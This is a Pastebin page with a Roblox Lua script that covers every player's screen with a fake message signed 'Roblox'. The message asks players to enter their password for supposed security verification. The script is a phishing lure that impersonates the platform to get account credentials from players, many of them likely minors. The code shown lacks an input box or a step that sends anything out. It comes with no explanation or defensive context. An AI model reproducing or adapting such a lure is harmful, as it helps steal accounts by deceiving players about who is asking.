Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- CreateGui = function(player)
- local gui = Instance.new("ScreenGui",player.PlayerGui)
- local frame = Instance.new("Frame",gui)
- frame.Size = UDim2.new(1,0,1,100)
- frame.Position = UDim2.new(0,0,0,-100)
- local contentHolder = Instance.new("Frame",frame)
- contentHolder.Size = UDim2.new(1,0,1,-100)
- contentHolder.Position = UDim2.new(0,0,0,100)
- contentHolder.BackgroundColor = BrickColor.Black()
- local messageBox = Instance.new("Frame",contentHolder)
- local msizex = 480
- local msizey = 240
- messageBox.Size = UDim2.new(0,msizex,0,msizey)
- messageBox.Position = UDim2.new(0.5,-(msizex/2),0.5,-(msizey/2))
- messageBox.BackgroundColor3 = Color3.new(0,0,0)
- local title = Instance.new("TextLabel",messageBox)
- title.Size = UDim2.new(1,0,0.1,0)
- title.TextColor3 = Color3.new(1,1,1)
- title.BackgroundTransparency = 1
- title.Text = "Please enter password"
- title.TextXAlignment = "Left"
- title.TextScaled = true
- local text = Instance.new("TextLabel",messageBox)
- text.Size = UDim2.new(1,0,0.5,0)
- text.Position = UDim2.new(0,0,0.1,0)
- text.BackgroundTransparency = 1
- text.TextColor3 = Color3.new(1,1,1)
- text.TextWrapped = true
- text.TextXAlignment = "Left"
- text.Text = "Dear user: We are currently increasing our security measures by requiring users to randomly require passwords to enter a server. Please enter your password so we can verify the security of this server.\nThank you,\nRoblox"
- return gui
- end
- for i,v in pairs(game:getService("Players"):GetPlayers()) do
- CreateGui(v)
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement